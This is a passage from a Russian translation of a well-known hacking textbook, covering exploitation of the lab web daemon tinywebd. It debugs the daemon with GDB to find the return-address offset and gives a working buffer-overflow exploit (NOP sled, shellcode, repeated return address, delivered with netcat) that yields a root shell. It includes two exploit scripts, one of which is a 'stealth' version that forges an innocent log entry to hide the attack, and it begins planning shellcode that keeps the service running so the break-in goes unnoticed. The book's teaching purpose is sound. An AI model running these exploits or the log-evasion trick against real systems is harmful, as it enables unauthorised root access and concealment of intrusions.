Главная страница
Навигация по странице:

  • /* Эта функция пишет метку времени

  • char time_buffer[40]; time(now); // Кличество секунд с начала эпохи. time_struct = localtime((const time_t *)now); // Преобразовать // в структуру tm.

  • 0x630 Профессиональные инструменты

  • 0x631 Инструмент для эксплойта tinywebd

  • Журнальный файл tinywebd

  • 0x651 Пошаговая работа Сложные эксплойты трудно осуществлять, потому что по непонятным причинам многое может пойти не так, как задумано. Чтобы не тратить 376

  • 0x08048805 : mov DWORD PTR [esp+8],0x180 0x0804880d : mov DWORD PTR [esp+4],0x441 0x08048815 : mov eax,DWORD PTR [ebp-16]

  • 0x08048f64 : nop 0x08048f65 : mov DWORD PTR [ebp-60],0x10

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница37 из 51
    1   ...   33   34   35   36   37   38   39   40   ...   51

    URL not found



    366
    0x600 Противодействие return -1;
    return (int) stat_struct.st_size;
    }
    /* Эта функция пишет метку времени
    * в переданный ей дескриптор открытого файла.
    */
    void timestamp(fd) {
    time_t now;
    struct tm *time_struct;
    int length;
    char time_buffer[40];
    time(&now); // Кличество секунд с начала эпохи.
    time_struct = localtime((const time_t *)&now); // Преобразовать
    // в структуру tm.
    length = strftime(time_buffer, 40, “%m/%d/%Y %H:%M:%S> “, time_struct);
    write(fd, time_buffer, length); // Записать строку
    // метки времени в журнал.
    }
    Эта программа переводит процесс в фоновый режим, выводит данные в журнал, снабжая их метками времени, и корректно завершается по сигналу. Дескрипторы журнального файла и сокета, принимающего со- единение, описаны как глобальные переменные, чтобы функция, обра- батывающая сигнал завершения, могла их закрыть. Эта функция han- dle_shutdown()
    зарегистрирована как обработчик сигналов прерывания и завершения, что позволяет программе корректно завершиться по ко- манде kill.
    Ниже показан результат компиляции, выполнения и завершения ра- боты этой программы. Обратите внимание на метки времени в журна- ле и сообщение, записанное после получения программой сигнала за- вершения и вызова handle_shutdown().
    reader@hacking:/booksrc $ gcc -o tinywebd tinywebd.c reader@hacking:/booksrc $ sudo chown root ./tinywebd reader@hacking:/booksrc $ sudo chmod u+s ./tinywebd reader@hacking:/booksrc $ ./tinywebd
    Starting tiny web daemon.
    reader@hacking:/booksrc $ ./webserver_id 127.0.0.1
    The web server for 127.0.0.1 is Tiny webserver reader@hacking:/booksrc $ ps ax | grep tinywebd
    25058 ? Ss 0:00 ./tinywebd
    25075 pts/3 R+ 0:00 grep tinywebd reader@hacking:/booksrc $ kill 25058
    reader@hacking:/booksrc $ ps ax | grep tinywebd
    25121 pts/3 R+ 0:00 grep tinywebd reader@hacking:/booksrc $ cat /var/log/tinywebd.log cat: /var/log/tinywebd.log: Permission denied

    0x630 Профессиональные инструменты
    367
    reader@hacking:/booksrc $ sudo cat /var/log/tinywebd.log
    07/22/2007 17:55:45> Starting up.
    07/22/2007 17:57:00> From 127.0.0.1:38127 “HEAD / HTTP/1.0” 200 OK
    07/22/2007 17:57:21> Shutting down.
    reader@hacking:/booksrc $
    Программа tinywebd передает контент HTTP точно так же, как перво- начальная программа tinyweb, но ведет себя как системный демон, от- ключаясь от управляющего терминала и выводя данные в журнальный файл. Обе программы уязвимы для одного и того же эксплойта пере- полнения, но ее эксплойт – это лишь начало. Используя демон tinyweb в качестве более реалистичной цели для эксплойта, вы узнаете, как из- бежать обнаружения после вторжения.
    0x630 Профессиональные инструменты
    Теперь, когда у нас появилась реалистичная цель, вернемся обратно на сторону атакующего. Важный профессиональный инструмент для по- добных атак – скрипты эксплойтов. Подобно набору отмычек у взлом- щика, эксплойты открывают хакеру многие двери. Тщательно порабо- тав с внутренними механизмами, можно полностью обойти систему за- щиты.
    Ранее мы написали код эксплойта на языке C и пользовались уязвимо- стями из командной строки. Тонкая разница между программой и ин- струментом для эксплойта состоит в их финализации и возможностях настройки. Программа эксплойта – это скорее огнестрельное оружие, чем инструмент. У нее, как у пистолета, лишь одна функция, а весь интерфейс состоит из спускового крючка, на который нужно нажать.
    И пистолет, и программа эксплойта – готовые продукты, которые в не- умелых руках делаются опасными. Напротив, инструменты для экс- плойта – это не окончательные продукты и они не рассчитаны на то, чтобы ими пользовался кто-то другой. Умея программировать, хакер, конечно, станет писать собственные скрипты и инструменты для экс- плойта. Эти личные инструменты автоматизируют утомительные за- дачи и облегчают экспериментирование. Как и обычные инструменты, они могут применяться для различных задач, расширяя возможности пользователя.
    0x631 Инструмент для эксплойта tinywebd
    Для демона tinyweb нам нужен такой инструмент эксплойта, который позволит экспериментировать с уязвимостями. Как и при создании на- ших прежних эксплойтов, сначала применяем GDB, чтобы выяснить детали уязвимости, такие как смещения. Смещение адреса возврата будет таким же, как в изначальной программе tinyweb.c, но то, что про- грамма выполняется как демон, вызывает некоторые проблемы. Вызов daemon()
    порождает новый процесс, и оставшаяся часть программы вы-

    368
    0x600 Противодействие полняется в дочернем процессе, а родительский процесс закрывается.
    Ниже показано, что точка останова задана после вызова daemon(), но от- ладчик в нее не попадает.
    reader@hacking:/booksrc $ gcc -g tinywebd.c reader@hacking:/booksrc $ sudo gdb -q ./a.out warning: not using untrusted file “/home/reader/.gdbinit”
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) list 47 42 43 if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
    44 fatal(“setting socket option SO_REUSEADDR”);
    45 46 printf(“Starting tiny web daemon.\n”);
    47 if(daemon(1, 1) == -1) // Запустить процесс демона в фоновом режиме.
    48 fatal(“forking to daemon process”);
    49 50 signal(SIGTERM, handle_shutdown); // Вызвать handle_shutdown
    // для завершения.
    51 signal(SIGINT, handle_shutdown); // Вызвать handle_shutdown
    // для прерывания.
    (gdb) break 50
    Breakpoint 1 at 0x8048e84: file tinywebd.c, line 50.
    (gdb) run
    Starting program: /home/reader/booksrc/a.out
    Starting tiny web daemon.
    Program exited normally.
    (gdb)
    Запущенная программа просто завершает работу. Чтобы отлаживать такую программу, отладчик должен следовать за дочерним, а не роди- тельским процессом. Для этого нужно установить в нем режим следо- вания за дочерним процессом при ветвлении. В таком случае он будет прослеживать выполнение дочернего процесса, где установлена точка останова.
    (gdb) set follow-fork-mode child
    (gdb) help set follow-fork-mode
    Set debugger response to a program call of fork or vfork.
    A fork or vfork creates a new process. follow-fork-mode can be:
    parent - the original process is debugged after a fork child - the new process is debugged after a fork
    The unfollowed process will continue to run.
    By default, the debugger will follow the parent process.
    (gdb) run
    Starting program: /home/reader/booksrc/a.out
    Starting tiny web daemon.
    [Switching to process 1051]
    Breakpoint 1, main () at tinywebd.c:50

    0x630 Профессиональные инструменты
    369
    50 signal(SIGTERM, handle_shutdown); // Вызвать handle_shutdown
    // для завершения.
    (gdb) quit
    The program is running. Exit anyway? (y or n) y reader@hacking:/booksrc $ ps aux | grep a.out root 911 0.0 0.0 1636 416 ? Ss 06:04 0:00 /home/reader/
    booksrc/a.out reader 1207 0.0 0.0 2880 748 pts/2 R+ 06:13 0:00 grep a.out reader@hacking:/booksrc $ sudo kill 911
    reader@hacking:/booksrc $
    Уметь отлаживать дочерние процессы полезно, но нам нужны точные значения стека, и гораздо аккуратнее и удобнее подключиться к про- цессу, который уже выполняется. Убьем все процессы a.out, а потом снова запустим демон tinyweb и подключимся к нему через GDB.
    reader@hacking:/booksrc $ ./tinywebd
    Starting tiny web daemon..
    reader@hacking:/booksrc $ ps aux | grep tinywebd root 25830 0.0 0.0 1636 356 ? Ss 20:10 0:00 ./tinywebd reader 25837 0.0 0.0 2880 748 pts/1 R+ 20:10 0:00 grep tinywebd reader@hacking:/booksrc $ gcc -g tinywebd.c reader@hacking:/booksrc $ sudo gdb -q–pid=25830 --symbols=./a.out warning: not using untrusted file “/home/reader/.gdbinit”
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    Attaching to process 25830
    /cow/home/reader/booksrc/tinywebd: No such file or directory.
    A program is being debugged already. Kill it? (y or n) n
    Program not killed.
    (gdb) bt
    #0 0xb7fe77f2 in ?? ()
    #1 0xb7f691e1 in ?? ()
    #2 0x08048f87 in main () at tinywebd.c:68
    (gdb) list 68 63 if (listen(sockfd, 20) == -1)
    64 fatal(“listening on socket”);
    65 66 while(1) { // Цикл приема соединения
    67 sin_size = sizeof(struct sockaddr_in);
    68 new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
    69 if(new_sockfd == -1)
    70 fatal(“accepting connection”);
    71 72 handle_connection(new_sockfd, &client_addr, logfd);
    (gdb) list handle_connection
    77 /* Эта функция обрабатывает соединение на заданном сокете от заданного
    78 * адреса клиента и регистрирует в журнале с заданным дескриптором
    79 * файла. Соединение обрабатывается как веб-запрос, и функция отвечает
    80 * через сокет соединения. В конце работы переданный сокет закрывается.
    81 */

    370
    0x600 Противодействие
    82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
    83 unsigned char *ptr, request[500], resource[500], log_buffer[500];
    84 int fd, length;
    85 86 length = recv_line(sockfd, request);
    (gdb) break 86
    Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.
    (gdb) cont
    Continuing.
    Выполнение приостанавливается, пока демон tinyweb ждет соедине- ния. Мы снова соединимся с этим веб-сервером с помощью броузера, чтобы подтолкнуть выполнение до точки останова.
    Breakpoint 1, handle_connection (sockfd=5, client_addr_ptr=0xbffff810) at tinywebd.c:86 86 length = recv_line(sockfd, request);
    (gdb) bt
    #0 handle_connection (sockfd=5, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86
    #1 0x08048fb7 in main () at tinywebd.c:72
    (gdb) x/x request
    0xbffff5c0: 0x080484ec
    (gdb) x/16x request + 500 0xbffff7b4: 0xb7fd5ff4 0xb8000ce0 0x00000000 0xbffff848 0xbffff7c4: 0xb7ff9300 0xb7fd5ff4 0xbffff7e0 0xb7f691c0 0xbffff7d4: 0xb7fd5ff4 0xbffff848 0x08048fb7 0x00000005 0xbffff7e4: 0xbffff810 0x00000003 0xbffff838 0x00000004
    (gdb) x/x 0xbffff7d4 + 8 0xbffff7dc: 0x08048fb7
    (gdb) p /x 0xbffff7dc - 0xbffff5c0
    $1 = 0x21c
    (gdb) p 0xbffff7dc - 0xbffff5c0
    $2 = 540
    (gdb) p /x 0xbffff5c0 + 100
    $3 = 0xbffff624
    (gdb) quit
    The program is running. Quit anyway (and detach it)? (y or n) y
    Detaching from program: , process 25830
    reader@hacking:/booksrc $
    Отладчик показывает, что адрес начала буфера запроса 0xbffff5c0, а адрес сохраненного адреса возврата 0xbffff7dc, откуда следует, что смещение равно 540 байт. Надежнее всего поместить шелл-код при- мерно в середине 500-байтного буфера запроса. Ниже представлен бу- фер эксплойта, в котором шелл-код втиснут между NOP-цепочкой и адресом возврата, повторенным 32 раза. 128 байт повторяющегося адреса возврата отдаляют шелл-код от небезопасной памяти стека, ко- торая может быть затерта. Небезопасные байты есть также в начале бу- фера эксплойта, который будет затерт при записи нулевого конца. Для

    0x630 Профессиональные инструменты
    371
    того чтобы шелл-код не попал в эту область, впереди него помещена
    NOP-цепочка длиной 100 байт. Это оставляет достаточно места, если шелл-код размещается с адреса 0xbffff624. Ниже показан результат эксплойта этой уязвимости с помощью шелл-кода для закольцованно- го интерфейса.
    reader@hacking:/booksrc $ ./tinywebd
    Starting tiny web daemon.
    reader@hacking:/booksrc $ wc -c loopback_shell
    83 loopback_shell reader@hacking:/booksrc $ echo $((540+4 - (32*4) - 83))
    333
    reader@hacking:/booksrc $ nc -l -p 31337 &
    [1] 9835
    reader@hacking:/booksrc $ jobs
    [1]+ Running nc -l -p 31337 &
    reader@hacking:/booksrc $ (perl -e ‘print “\x90”x333’; cat loopback_shell; perl -e ‘print “\
    x24\xf6\xff\xbf”x32 . “\r\n”’) | nc -w 1 -v 127.0.0.1 80
    localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ fg nc -l -p 31337
    whoami root
    Поскольку смещение до адреса возврата составляет 540 байт, нужно
    544 байта, чтобы переписать этот адрес. Если длина шелл-кода 83 бай- та и адрес возврата повторен 32 раза, то оказывается, что NOP-цепочка должна иметь длину 333 байта, и тогда в буфере эксплойта все будет правильно выровнено. Запускаем netcat в режиме ожидания и с симво- лом амперсанда (&) в конце, что переводит процесс в фоновый режим.
    Он будет ждать соединения от шелл-кода, и возобновить его можно бу- дет командой fg (от foreground – передний план). На загрузочном дис- ке
    1
    цвет символа @ в приглашении меняется, если есть фоновые зада- ния, список которых можно также вывести командой jobs. Когда бу- фер эксплойта посылается на стандартный вход netcat, ключ -w сооб- щает, что нужно выполнить задержку в одну секунду. После этого пе- реведенный в фоновый режим процесс netcat, получивший обратный вызов оболочки, можно перевести на передний план.
    Все это прекрасно, но если размер шелл-кода меняется, приходится пе- ресчитывать размер NOP-цепочки. Такие повторяющиеся операции можно поместить в скрипт оболочки.
    В оболочке BASH есть простые управляющие структуры. Оператор if в начале этого скрипта служит для проверки ошибок и вывода сооб- щения о формате вызова. Для задания смещения и адреса возврата ис-
    1
    www.symbol.ru/library/hacking-2ed. – Прим. ред.

    372
    0x600 Противодействие пользуются переменные окружения, которые легко поменять, если из- менится атакуемая программа. Шелл-код для эксплойта передается в виде аргумента командной строки, что делает данный инструмент по- лезным для испытания разных вариантов шелл-кода.
    xtool_tinywebd.sh
    #!/bin/sh
    # Инструмент для эксплойта tinywebd if [ -z “$2” ]; then # Если аргумент 2 пуст echo “Usage: $0
    exit fi
    OFFSET=540
    RETADDR=”\x24\xf6\xff\xbf” # Через +100 байт от буфера @ 0xbffff5c0
    echo “target IP: $2”
    SIZE=`wc -c $1 | cut -f1 -d ‘ ‘`
    echo “shellcode: $1 ($SIZE bytes)”
    ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE))
    echo “[NOP ($ALIGNED_SLED_SIZE bytes)] [shellcode ($SIZE bytes)] [ret addr
    ($((4*32)) bytes)]”
    ( perl -e “print \”\x90\”x$ALIGNED_SLED_SIZE”;
    cat $1;
    perl -e “print \”$RETADDR\”x32 . \”\r\n\””;) | nc -w 1 -v $2 80
    Обратите внимание: в этом скрипте адрес возврата повторяется дополни- тельный 33-й раз, но размер цепочки вычисляется как 128 байт (32 × 4).
    В результате еще один адрес возврата помещается дальше требуемого смещения. Дело в том, что некоторые опции компилятора могут немно- го смещать адрес возврата, и такое изменение делает эксплойт надеж- нее. Ниже показано, как это инструмент используется для очередного эксплойта демона tinyweb, но с шелл-кодом привязки порта.
    reader@hacking:/booksrc $ ./tinywebd
    Starting tiny web daemon.
    reader@hacking:/booksrc $ ./xtool_tinywebd.sh portbinding_shellcode 127.0.0.1
    target IP: 127.0.0.1
    shellcode: portbinding_shellcode (92 bytes)
    [NOP (324 bytes)] [shellcode (92 bytes)] [ret addr (128 bytes)]
    localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ nc -vv 127.0.0.1 31337
    localhost [127.0.0.1] 31337 (?) open whoami root
    Теперь, когда атакующая сторона вооружена скриптом для эксплой- та, посмотрим, как будет происходить его применение. Если вы адми- нистратор сервера, где работает демон tinyweb, то каковы будут первые признаки того, что вас атаковали?

    0x640 Журнальные файлы
    373
    0x640 Журнальные файлы
    Один из двух наиболее очевидных признаков вторжения относится к журнальному файлу. Журнал, который ведет демон tinyweb, – одно из главных мест, где нужно искать признаки проблем. Даже если экс- плойт успешно применен, в журнале должна сохраниться запись, сви- детельствующая о происшедшем.
    Журнальный файл tinywebd
    reader@hacking:/booksrc $ sudo cat /var/log/tinywebd.log
    07/25/2007 14:55:45> Starting up.
    07/25/2007 14:57:00> From 127.0.0.1:38127 “HEAD / HTTP/1.0” 200 OK
    07/25/2007 17:49:14> From 127.0.0.1:50201 “GET / HTTP/1.1” 200 OK
    07/25/2007 17:49:14> From 127.0.0.1:50202 “GET /image.jpg HTTP/1.1” 200 OK
    07/25/2007 17:49:14> From 127.0.0.1:50203 “GET /favicon.ico HTTP/1.1” 404
    Not Found
    07/25/2007 17:57:21> Shutting down.
    08/01/2007 15:43:08> Starting up..
    08/01/2007 15:43:41> From 127.0.0.1:45396 “
    □□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□jfX□1□CRj j □□ □jfXCh □□
    f
    □T$ fhzifS□□j QV□□C □□□□I□? Iy□□
    Rh//shh/bin□□R□□S□□ $□□□$□□□$□□
    □$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□
    □$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□
    □$□□□$□□□“ NOT HTTP!
    reader@hacking:/booksrc $
    Конечно, получив доступ к оболочке root, атакующий может отредак- тировать журнал, находящийся на той же машине. Но в защищенных сетях копии журналов часто посылаются на другие защищенные сер- веры. В отдельных случаях журналы распечатываются на принтере.
    Такого рода меры противодействуют подделке журналов после успеш- ного взлома системы.
    0x641 Слиться с толпой
    Даже если нельзя подделать журнал, иногда можно подделать то, что в нем регистрируется. В журналах обычно множество нормальных за- писей, среди которых попытки эксплойтов просто бросаются в глаза.
    Демона tinyweb можно обмануть, заставив при эксплойте внести в жур- нал невинно выглядящую запись. Посмотрите на исходный код и по- пробуйте сами догадаться, как это сделать. Идея в том, чтобы заста- вить запись в журнале выглядеть как нормальный веб-запрос вроде следующего:
    07/22/2007 17:57:00> From 127.0.0.1:38127 “HEAD / HTTP/1.0” 200 OK
    07/25/2007 14:49:14> From 127.0.0.1:50201 “GET / HTTP/1.1” 200 OK

    374
    0x600 Противодействие
    07/25/2007 14:49:14> From 127.0.0.1:50202 “GET /image.jpg HTTP/1.1” 200 OK
    07/25/2007 14:49:14> From 127.0.0.1:50203 “GET /favicon.ico HTTP/1.1” 404
    Not Found
    Такой камуфляж весьма эффективен в больших организациях, где журналы велики в силу множества поступающих законных запросов.
    Легче затеряться на многолюдном рынке, чем на пустой улице. Но как же огромный, страшный буфер эксплойта сможет прикрыться овечьей шкурой?
    В исходном коде демона tinyweb есть простейшая ошибка, позволяю- щая обрезать вывод буфера запроса при записи в журнал, но не при ко- пировании в память. В функции recv_line() в качестве признака конца строки используется \r\n, тогда как в стандартных функциях копиро- вания строк признаком конца служит нулевой байт. Для записи в жур- нал используются эти строковые функции, поэтому при правильном употреблении обоих ограничителей строк можно добиться частичного контроля над тем, что записывается в журнал.
    В следующем сценарии эксплойта перед буфером эксплойта помеща- ется запрос допустимого вида. NOP-цепочка сокращена, чтобы сохра- нить общую длину.
    xtool_tinywebd_stealth.sh
    #!/bin/sh
    # Инструмент для скрытого эксплойта if [ -z “$2” ]; then # Если аргумент 2 пуст echo “Usage: $0
    exit fi
    FAKEREQUEST=”GET / HTTP/1.1\x00”
    FR_SIZE=$(perl -e “print \”$FAKEREQUEST\”” | wc -c | cut -f1 -d ‘ ‘)
    OFFSET=540
    RETADDR=”\x24\xf6\xff\xbf” # Через +100 байт от буфера @ 0xbffff5c0
    echo “target IP: $2”
    SIZE=`wc -c $1 | cut -f1 -d ‘ ‘`
    echo “shellcode: $1 ($SIZE bytes)”
    echo “fake request: \”$FAKEREQUEST\” ($FR_SIZE bytes)”
    ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE))
    echo “[Fake Request ($FR_SIZE b)] [NOP ($ALIGNED_SLED_SIZE b)] [shellcode
    ($SIZE b)] [ret addr ($((4*32)) b)]”
    (perl -e “print \”$FAKEREQUEST\” . \”\x90\”x$ALIGNED_SLED_SIZE”;
    cat $1;
    perl -e “print \”$RETADDR\”x32 . \”\r\n\””) | nc -w 1 -v $2 80
    В этом новом буфере эксплойта маскировочный веб-запрос завершает- ся нулевым байтом. Нулевой байт не остановит функцию recv_line(), поэтому буфер эксплойта будет целиком записан в стек. Поскольку строковые функции, выполняющие запись в журнал, используют в ка- честве конца строки ноль, фальшивый запрос будет записан в файл,

    0x650 Пропуск очевидного
    375
    а остальная часть эксплойта – нет. Результат применения этого экс- плойта:
    reader@hacking:/booksrc $ ./tinywebd
    Starting tiny web daemon.
    reader@hacking:/booksrc $ nc -l -p 31337 &
    [1] 7714
    reader@hacking:/booksrc $ jobs
    [1]+ Running nc -l -p 31337 &
    reader@hacking:/booksrc $ ./xtool_tinywebd_steath.sh loopback_shell
    127.0.0.1
    target IP: 127.0.0.1
    shellcode: loopback_shell (83 bytes)
    fake request: “GET / HTTP/1.1\x00” (15 bytes)
    [Fake Request (15 b)] [NOP (318 b)] [shellcode (83 b)] [ret addr (128 b)]
    localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ fg nc -l -p 31337
    whoami root
    Соединение, осуществляемое этим эксплойтом, создает следующие за- писи в журнале на сервере:
    08/02/2007 13:37:36> Starting up..
    08/02/2007 13:37:44> From 127.0.0.1:32828 “GET / HTTP/1.1” 200 OK
    С помощью такого метода нельзя изменить IP-адрес, заносимый в жур- нал, но сам запрос выглядит обычным и не должен привлечь к себе осо- бое внимание.
    0x650 Пропуск очевидного
    На практике есть еще более очевидный признак вторжения, чем за- пись в журнале, однако при проверке о нем часто забывают. Считая, что главный признак вторжения находится в журнале, вы забываете о прекращении работы сервиса. При эксплойте демона tinyweb процесс предоставляет взломщику удаленную оболочку, но перестает при этом обрабатывать веб-запросы. Такой эксплойт обнаружится сразу, как только кто-нибудь попытается обратиться к веб-сайту.
    Опытный хакер не только взломает программу своим эксплойтом, но и позаботится, чтобы она вернулась в исходное состояние и работала.
    Программа будет снова обрабатывать запросы, как будто ничего не произошло.
    0x651 Пошаговая работа
    Сложные эксплойты трудно осуществлять, потому что по непонятным причинам многое может пойти не так, как задумано. Чтобы не тратить

    376
    0x600 Противодействие часы на поиск ошибки, обычно лучше разбить сложный эксплойт на мелкие части. Наша конечная цель – составить такой шелл-код, кото- рый запустит оболочку, но сервер tinyweb будет продолжать работу. Обо- лочка интерактивна, что связано с некоторыми трудностями, но мы за- ймемся ими позднее. Сначала решим проблему восстановления работы демона tinyweb после эксплойта. Начнем с написания шелл-кода, кото- рый каким-то образом покажет, что он выполнился, после чего восста- новит способность демона tinyweb обрабатывать веб-запросы.
    Поскольку демон tinyweb перенаправляет стандартный поток вывода на /dev/null, вывод на стандартное устройство не может служить мар- кером выполнения шелл-кода. Простой способ показать, что шелл-код выполнился, – создание файла. Это можно сделать с помощью вызовов open()
    и close(). Разумеется, чтобы создать файл, нужны соответству- ющие флаги для open(). Можно было бы поискать во включаемых фай- лах истинные значения константы O_CREAT и прочих, а потом получить аргументы с помощью поразрядных операций, но это слишком обреме- нительно. Вспомним, что мы уже делали нечто подобное раньше: про- грамма notetaker обращается к open(), чтобы создать файл, если он еще не создан. Есть программа strace, с помощью которой можно увидеть все системные вызовы, выполняемые любой программой. Ниже пока- зано, как с ее помощью проверяется, что аргументам open() в C соответ- ствуют системные вызовы низкого уровня.
    reader@hacking:/booksrc $ strace ./notetaker test execve(“./notetaker”, [“./notetaker”, “test”], [/* 27 vars */]) = 0
    brk(0) = 0x804a000
    access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory)
    mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
    0xb7fe5000
    access(“/etc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory)
    open(“/etc/ld.so.cache”, O_RDONLY) = 3
    fstat64(3, {st_mode=S_IFREG|0644, st_size=70799, ..}) = 0
    mmap2(NULL, 70799, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd3000
    close(3) = 0
    access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory)
    open(“/lib/tls/i686/cmov/libc.so.6”, O_RDONLY) = 3
    read(3, “\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0`\1\000”.., 512) =
    512
    fstat64(3, {st_mode=S_IFREG|0644, st_size=1307104, ..}) = 0
    mmap2(NULL, 1312164, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) =
    0xb7e92000
    mmap2(0xb7fcd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_
    DENYWRITE, 3, 0x13b) = 0xb7fcd000
    mmap2(0xb7fd0000, 9636, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_
    ANONYMOUS, -1, 0) = 0xb7fd0000
    close(3) = 0

    0x650 Пропуск очевидного
    377
    mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
    0xb7e91000
    set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e916c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_
    present:0, useable:1}) = 0
    mprotect(0xb7fcd000, 4096, PROT_READ) = 0
    munmap(0xb7fd3000, 70799) = 0
    brk(0) = 0x804a000
    brk(0x806b000) = 0x806b000
    fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ..}) = 0
    mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
    0xb7fe4000
    write(1, “[DEBUG] buffer @ 0x804a008: \’t”.., 37[DEBUG] buffer @
    0x804a008: ‘test’) = 37
    write(1, “[DEBUG] datafile @ 0x804a070: \’/”.., 43[DEBUG] datafile @
    0x804a070: ‘/var/notes’) = 43
    open(“/var/notes”, O_WRONLY|O_APPEND|O_CREAT, 0600) = -1 EACCES (Permission
    denied)
    dup(2) = 3
    fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR)
    fstat64(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ..}) = 0
    mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
    0xb7fe3000
    _llseek(3, 0, 0xbffff4e4, SEEK_CUR) = -1 ESPIPE (Illegal seek)
    write(3, “[!!] Fatal Error in main() while”.., 65[!!] Fatal Error in main() while opening file: Permission denied) = 65
    close(3) = 0
    munmap(0xb7fe3000, 4096) = 0
    exit_group(-1) = ?
    Process 21473 detached reader@hacking:/booksrc $ grep open notetaker.c fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
    fatal(“in main() while opening file”);
    reader@hacking:/booksrc $
    При запуске из strace флаг suid программы notetaker не действует, поэтому она не сможет открыть файл с данными. Однако для нас это не важно: нам нужно лишь увидеть, что аргументы системного вы- зова open() соответствуют аргументам вызова open() в C. После этого мы можем использовать значения аргументов вызова open() в двоич- ном модуле notetaker в качестве аргументов системного вызова open() в шелл-коде. Компилятор уже проделал всю работу по поиску опреде- лений констант и соединению их значений логическим ИЛИ; нам нуж- но лишь найти аргументы вызова в дизассемблированном коде двоич- ного модуля notetaker.
    reader@hacking:/booksrc $ gdb -q ./notetaker
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) set dis intel
    (gdb) disass main
    Dump of assembler code for function main:

    378
    0x600 Противодействие
    0x0804875f : push ebp
    0x08048760 : mov ebp,esp
    0x08048762 : sub esp,0x28 0x08048765 : and esp,0xfffffff0 0x08048768 : mov eax,0x0 0x0804876d : sub esp,eax
    0x0804876f : mov DWORD PTR [esp],0x64 0x08048776 : call 0x8048601
    0x0804877b : mov DWORD PTR [ebp-12],eax
    0x0804877e : mov DWORD PTR [esp],0x14 0x08048785 : call 0x8048601
    0x0804878a : mov DWORD PTR [ebp-16],eax
    0x0804878d : mov DWORD PTR [esp+4],0x8048a9f
    0x08048795 : mov eax,DWORD PTR [ebp-16]
    0x08048798 : mov DWORD PTR [esp],eax
    0x0804879b : call 0x8048480
    0x080487a0 : cmp DWORD PTR [ebp+8],0x1 0x080487a4 : jg 0x80487ba
    0x080487a6 : mov eax,DWORD PTR [ebp-16]
    0x080487a9 : mov DWORD PTR [esp+4],eax
    0x080487ad : mov eax,DWORD PTR [ebp+12]
    0x080487b0 : mov eax,DWORD PTR [eax]
    0x080487b2 : mov DWORD PTR [esp],eax
    0x080487b5 : call 0x8048733
    0x080487ba : mov eax,DWORD PTR [ebp+12]
    0x080487bd : add eax,0x4 0x080487c0 : mov eax,DWORD PTR [eax]
    0x080487c2 : mov DWORD PTR [esp+4],eax
    0x080487c6 : mov eax,DWORD PTR [ebp-12]
    0x080487c9 : mov DWORD PTR [esp],eax
    0x080487cc : call 0x8048480
    0x080487d1 : mov eax,DWORD PTR [ebp-12]
    0x080487d4 : mov DWORD PTR [esp+8],eax
    0x080487d8 : mov eax,DWORD PTR [ebp-12]
    0x080487db : mov DWORD PTR [esp+4],eax
    0x080487df : mov DWORD PTR [esp],0x8048aaa
    0x080487e6 : call 0x8048490 0x080487eb : mov eax,DWORD PTR [ebp-16]
    0x080487ee : mov DWORD PTR [esp+8],eax
    0x080487f2 : mov eax,DWORD PTR [ebp-16]
    0x080487f5 : mov DWORD PTR [esp+4],eax
    0x080487f9 : mov DWORD PTR [esp],0x8048ac7 0x08048800 : call 0x8048490
    0x08048805 : mov DWORD PTR [esp+8],0x180
